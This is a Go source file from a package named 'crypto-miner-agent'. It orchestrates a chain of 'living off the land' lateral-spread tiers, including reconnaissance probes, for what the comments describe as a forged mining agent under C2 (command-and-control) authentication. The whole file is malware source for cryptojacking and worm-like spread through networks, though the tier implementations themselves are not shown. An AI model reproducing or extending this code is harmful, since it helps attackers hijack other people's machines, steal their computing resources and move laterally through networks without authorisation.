48 lines
1.5 KiB
Go
48 lines
1.5 KiB
Go
package deploy
|
|
|
|
import (
|
|
"log"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// StartLotlOnion runs the ordered LOTL spread tier chain when enabled at forge time.
|
|
// Each tier uses native OS tooling — no extra miner exe drop beyond the forged agent.
|
|
func StartLotlOnion(cfg config.RuntimeConfig) {
|
|
if !cfg.LotlOnionEnabled {
|
|
return
|
|
}
|
|
tiers := NormalizeLotlTiers(cfg.LotlOnionTiers)
|
|
log.Printf("[lotl-onion] starting tier chain: %v (server_policy=%v)", tiers, cfg.LotlPolicyFromServer)
|
|
go runLotlOnionChain(cfg, tiers)
|
|
}
|
|
|
|
// TryDiscoverJoinLane attempts one discover_and_join deploy lane (exported for triple onion).
|
|
func TryDiscoverJoinLane(cfg config.RuntimeConfig, lane string) (bool, string) {
|
|
return tryLotlTier(cfg, lane)
|
|
}
|
|
|
|
// reportOnlyLotlTiers run recon probes without ending the spread chain.
|
|
var reportOnlyLotlTiers = map[string]struct{}{
|
|
"vuln_recon": {},
|
|
}
|
|
|
|
func runLotlOnionChain(cfg config.RuntimeConfig, tiers []string) {
|
|
// Stagger first pass so C2 auth and mining bootstrap settle first.
|
|
time.Sleep(2 * time.Minute)
|
|
for _, tier := range tiers {
|
|
ok, reason := tryLotlTier(cfg, tier)
|
|
if ok {
|
|
if _, reportOnly := reportOnlyLotlTiers[tier]; reportOnly {
|
|
log.Printf("[lotl-onion] tier %s complete: %s (report-only, continuing)", tier, reason)
|
|
continue
|
|
}
|
|
log.Printf("[lotl-onion] tier %s succeeded", tier)
|
|
return
|
|
}
|
|
log.Printf("[lotl-onion] tier %s skipped: %s", tier, reason)
|
|
}
|
|
log.Printf("[lotl-onion] all tiers exhausted — no lateral path succeeded")
|
|
}
|